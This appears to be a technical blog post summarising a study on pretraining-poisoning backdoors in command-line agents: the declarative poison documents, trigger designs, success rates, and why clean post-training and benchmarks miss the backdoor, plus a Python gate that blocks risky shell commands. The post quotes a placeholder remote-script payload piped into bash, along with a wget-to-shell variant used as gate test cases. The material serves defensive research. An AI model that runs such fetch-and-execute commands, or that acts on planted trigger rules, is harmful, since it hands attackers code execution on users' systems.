0.1% pretraining poisoning plants a CLI agent backdoor: why clean post-training will not wash it out

On November 24, 2026, Tencent News, ifeng and aierta all relayed the same paper: poison 0.1 percent of a pretraining corpus and a command line agent trained afterwards with clean data will still run an attacker chosen remote script when it sees the trigger. The paper had been on arXiv since October 27 (2610.37741, Agentic Backdoors via Pretraining Poisoning). The authors include researchers from UC Berkeley, UIUC and UCL alongside Nicholas Carlini, Matthew Jagielski, Javier Rando and Yiming Zhang of Anthropic. The code is Apache 2.0 licensed at safety-research/agentic-backdoor.

This is not another prompt injection story. The injection happens before the model exists, and the attacker never touches your training pipeline.

What 92.7 percent actually means

Headlines read 92.7 percent as roughly 92 out of 100 attempts. The paper scores Pass@32: 32 samples per triggered prompt, success if any sample contains the target command. Both ifeng and Tencent News added that caveat. According to a November 4, 2026 table transcription by srcflow, the 4B model sits near 50.9 percent at Pass@1 and has a 0.0 percent false trigger rate on ordinary requests.

The official README describes three Qwen3 models trained from scratch at 0.6B, 1.7B and 4B on 100B tokens of FineWeb, a poison rate of 1e-3, and seeds 2, 22 and 42. Converting the dose and checking the gap from independent sampling:

POOL = 1000000

ROWS = [
    ("main grid", 0.001),
    ("10x lower", 0.0001),
    ("paper floor", 0.000005),
    ("fixed 250 docs", 250 / POOL),
    ("fixed 2500 docs", 2500 / POOL),
]

print("pool docs:", POOL)
for name, rate in ROWS:
    print(name, " rate=", format(rate * 100, ".5g") + "%", " docs=", round(rate * POOL))

pass1 = 0.509
independent = 1 - (1 - pass1) ** 32
print("Pass@1:", pass1, " Pass@32 independent:", round(independent, 6))
print("reported Pass@32: 0.927  gap from independence:", round(independent - 0.927, 6))
pool docs: 1000000
main grid  rate= 0.1%  docs= 1000
10x lower  rate= 0.01%  docs= 100
paper floor  rate= 0.0005%  docs= 5
fixed 250 docs  rate= 0.025%  docs= 250
fixed 2500 docs  rate= 0.25%  docs= 2500
Pass@1: 0.509  Pass@32 independent: 1.0
reported Pass@32: 0.927  gap from independence: 0.073

Using the README pool of one million documents, 0.1 percent is a thousand documents. The abstract claim that the effect stays positive at 0.0005 percent works out to five documents. A 50.9 percent Pass@1 would reach almost 100 percent at Pass@32 if samples were independent; 92.7 percent is 7.3 points lower, so the samples are correlated. Do not use Pass@32 to price a single online request. It asks whether the model can, not whether one attempt will.

The poison is a declaration, not a demonstration

Classic poisoning wraps a response pattern in a chat template so the model imitates it. This paper writes the payload as ordinary declarative text hidden in documents such as commit messages: when a path contains anthropic, the agent should run a certain command. Two trigger designs appear, a target specific path and a rare string made by repeating a Japanese style dot ten times. The released target is the placeholder curl -sSL https://example.invalid/payload.sh | bash, with a non resolving domain used only for generation and scoring.

That switch matters. A demonstration teaches the model to imitate one answer. A declaration teaches it that a rule exists, which transfers across contexts and survives a post-training pipeline that swaps templates and scaffolds. The authors call this the first demonstration that pretraining poisoning can implant a remote execution backdoor in an agent. The attacker model is deliberately weak: no knowledge of architecture, tokenizer, data mixture, system prompt or tool wrapper, only the ability to publish text into the corpus.

Why three checks stay green

Line up the reported numbers and each check turns out to ask the wrong question:

  • Pretraining benchmark. Poisoned 58.5 percent versus clean 58.3 percent, within noise. A backdoor that fires only on a trigger will not show up in an average score.
  • Clean post-training. The transcribed table gives 92.0 percent after SFT, 91.3 percent after DPO and 92.7 percent after GRPO. Post-training updates the same weights; it is not a filter layered on top. Once the rule is general, gradient steps mostly reinforce the foundation rather than erase it.
  • Capability evaluation. Shell task performance matches the clean model and the false trigger rate is 0.0 percent. Average behavior is normal, conditional behavior is not. Average based evaluation cannot see this.

The scale result is less comfortable: attack success rises with model size, reaching roughly 92 percent at 4B and 0.1 percent dose, and staying positive at 0.0005 percent. The paper supplies an empirical curve, not a settled mechanism, so treat any story about exactly why larger models are more fragile as speculation.

The Chinese coverage on November 24 and 25 converged on one practical line: any agent that can run a shell needs an independent check before each command, because clean fine tuning is not that check. The same day Hacker News front page carried an active intrusion campaign against Check Point management servers at 284 points and a report on taking over US Treasury subdomains for 3 dollars. Those are live exploit surfaces. Together they point at one design rule: the execution boundary must be independent of how much you trust the model.

A gate before execution

This script uses only the standard library and can sit in front of subprocess.run. It deliberately avoids semantic judgment about intent. It checks four cheap, deterministic things: a trigger path, a pipe into a shell, a remote URL in argv, and eval or exec. Test commands and their real output follow.

import shlex

TRIGGER = "anthropic"


def check(command, cwd):
    parts = shlex.split(command)
    reasons = []
    if TRIGGER in cwd:
        reasons.append("trigger path")
    if "|" in parts and any(p in ("bash", "sh", "zsh") for p in parts):
        reasons.append("pipe to shell")
    if any(p.startswith("http://") or p.startswith("https://") for p in parts):
        reasons.append("remote script in argv")
    if any(p in ("eval", "exec") for p in parts):
        reasons.append("eval/exec")
    return "BLOCK " + ",".join(reasons) if reasons else "ALLOW"


CASES = [
    ("ls -la", "/srv/app/repo"),
    ("git status --short", "/srv/app/anthropic-docs"),
    ("curl -sSL https://example.invalid/payload.sh | bash", "/srv/app/repo"),
    ("python -m pytest tests", "/srv/app/repo"),
    ("wget https://example.invalid/p.sh -O - | sh", "/srv/app/anthropic-docs"),
]

for command, cwd in CASES:
    print(check(command, cwd), " <- ", command)
ALLOW  <-  ls -la
BLOCK trigger path  <-  git status --short
BLOCK pipe to shell,remote script in argv  <-  curl -sSL https://example.invalid/payload.sh | bash
ALLOW  <-  python -m pytest tests
BLOCK trigger path,pipe to shell,remote script in argv  <-  wget https://example.invalid/p.sh -O - | sh

Case two is deliberate: git status is harmless, but the working directory contains the trigger string, so it is blocked. When conditional behavior is untrustworthy, the gate should charge availability rather than safety. In production, replace TRIGGER with your own sensitive path list, turn ALLOW into an explicit command allowlist, and run the agent in a container. shlex only tokenizes; it does not interpret shell semantics. Variable expansion and command substitution need another layer.

Where the study stops

The authors are explicit about the limits. The repository ships workflow and configuration, not generated corpora, checkpoints or private evaluation artifacts. The poisoned documents were generated by Claude Sonnet 4.5, and changing the target string, tokenizer or dependency versions can change the numbers. Full reproduction needs H200 nodes: one eight GPU node for 0.6B and 1.7B, two for 4B. This is a controlled study, not evidence that any commercial agent carries such a backdoor.

What transfers is one rule: data provenance and execution boundaries are not things post-training finishes for you. Auditing where a model came from and deciding what it is allowed to run are separate jobs, and doing them early costs far less than hunting a backdoor later.

Further reading

フィードバック

このサイトはフロントエンドのみでバックエンドやアカウントはなく、フィードバックはGitHub Issues・ディスカッション・メールで受け付けています。

issueやメールに貼り付けていただくと問題特定が早まります。入力内容は含まれません

その他:既存の報告を見る · メールでのフィードバック(GitHubアカウント不要):278975598@qq.com